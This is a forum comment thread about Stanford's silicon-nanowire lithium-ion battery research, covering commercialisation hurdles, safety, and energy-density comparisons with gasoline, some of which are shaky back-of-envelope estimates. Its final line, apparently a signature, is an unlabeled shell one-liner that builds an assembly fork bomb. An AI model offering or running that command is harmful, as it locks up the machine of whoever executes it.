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Nanowires Boost Laptop Battery Life to 20 Hours
brianmed writes to tell us that Stanford researchers have created a new use for silicon nanowires that promise to reinvent lithium-ion batteries. "The new version, developed through research led by Yi Cui, assistant professor of materials science and engineering, produces 10 times the amount of electricity of existing lithium-ion, known as Li-ion, batteries. A laptop that now runs on battery for two hours could operate for 20 hours, a boon to ocean-hopping business travelers. [...] The lithium is stored in a forest of tiny silicon nanowires, each with a diameter one-thousandth the thickness of a sheet of paper. The nanowires inflate four times their normal size as they soak up lithium. But, unlike other silicon shapes, they do not fracture."
The article makes this sound very promising.
It may very well be the leap that keeps battery technology ahead of ultra-capacitors for the foreseeable future.
There should be a moderation category "Dumbest Comment EVER"
It's sort of funny that you should say that. I work for a company that manufactures some battery-powered instruments. We actually have to ship the batteries separately from the instruments because they classify as a more hazardous material than the rest of the shipment.
Virtue finds and chooses the mean.
Aristotle, Ethica Nichomachea
As a guess based on my experience, the actual implementation of a design, with prototyping, testing for failure modes, integral monitoring, sensors and such, I will bet that another 1-2 dozen patents will be filed and $10s of millions will be spent getting or trying to get the "pre-production" version over a 3-5 year time frame. If they leverage by working with an existing battery manufacturer, maybe they get it to 2-3 years.
Given that the initial results suggest an energy density increase of an order of magnitude, I suspect VCs are already crawling into Palo Alto & up to Standford.
What happens between the "experiment" where a 10/1 advantage is produced, to the final produceable & safe product, it is not uncommon to see 10/1 advantages slip to 5/1.
Other notes in this thread have joked at 10 times the explosive power, which battery manufacturers have worked out in existing batteries, but this one will offer BIGGER challenges. I wouldn't know how to calculate the "explosive power" of the end design if safeties failed, but this will be critical.
Any serious damage which might cause a catastrophic short would cause some companies to NOT accept these batteries, like airlines for instance. My pure guess is that physical damage, in say an automobile accident, or similar "mashing", will make the design of safety features be what takes the most time and effort.
Well, let's go with 200 Wh/kg for conventional li-ion batteries. Thios would be 2000 Wh/kg, i.e., 7.2 MJ/kg. Gasoline has an energy density of about 45 MJ/kg.
Of course, you're comparing the energy density of the stored electricity, not of the chemical energy of the battery as a whole, which isn't really fair.
Anyways, let's look at vehicle range. The gasoline has 6.25 times the energy density, but only burns at 25-30% efficiency in the engine. The charge/discharge of lithium-ion batteries is almost lossless. The motor would be 85-90% efficient. Looks like, kilogram per kilogram, gasoline gets twice the range. On the other hand, there are other practical considerations -- namely, the fact that electric motors are much smaller and lighter than an internal combustion engine. I wouldn't be surprised if you could shave a hundred, hundred fifty kilograms off the engine/motor mass by switching from ICE to electric. If you filled this remaining space with batteries, that'd be ~900MJ, the equivalent of 20 gallons of gasoline, extra for the electric vehicle. Factor in a 12 gallon gas tank that's being replaced by electric (that's what my Saturn has, so that's the number I'm using), that's the equivalent of 26 gallons of range for the electric and 12 gallons of range for the gasoline vehicle. The electric goes over twice as far. But it gets even better, as you'll only get your optimum 25-30% gasoline efficiency at the optimal RPM; they perform poorly at low speeds, for example. Electrics perform well over a wide range. Then you need to factor in that the electric has all of the benefits of hybrid vehicles already there -- regenerative braking, no waste at stop lights, and so forth. All in all, I'd expect around three times more range with an electric using batteries like these than you get in a gasoline vehicle. And to top it all off, given that they're using nanowires, the surface are will be incredible, so the charge time should be very fast -- just a few minutes.
If this is legit, and if there aren't any degradation or safety problems that sneak up on them, when it comes out, gasoline vehicles can be expected to go "extinct" quite quickly. Who *wouldn't* want to be able to drive a thousand, perhaps even two thousand miles on a single charge, at a price of 1-2 cents per mile?
We should start dealing in those black-market beagles.
The big win is that we can more readily regulate emissions from stationary power plants (of higher efficiency that an IC engine), and weight is not a concern for the scrubbers and filters. Further along in the future, changing the problem from synthesizing gasoline to generating electricity more cleanly is an even bigger win.
Reality Maintenance Group, Silver City Construction Co., Ltd.
Hmm, fair point.
I got 20% efficiency for 4 stroke gasoline engines, vs 85% for brushless DC electric motors.
Actually there's an article here that quotes the density of the new battery as 3000Wh/kg.. 12200 as an energy density for old Lithium Ion batteries is completely bogus by the way.
So
12,200*0.2 = 2440
vs
3000*0.85 = 2550
Not as good as you said since the battery still has 4x worse energy density but you're right that engine efficiency makes up for it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;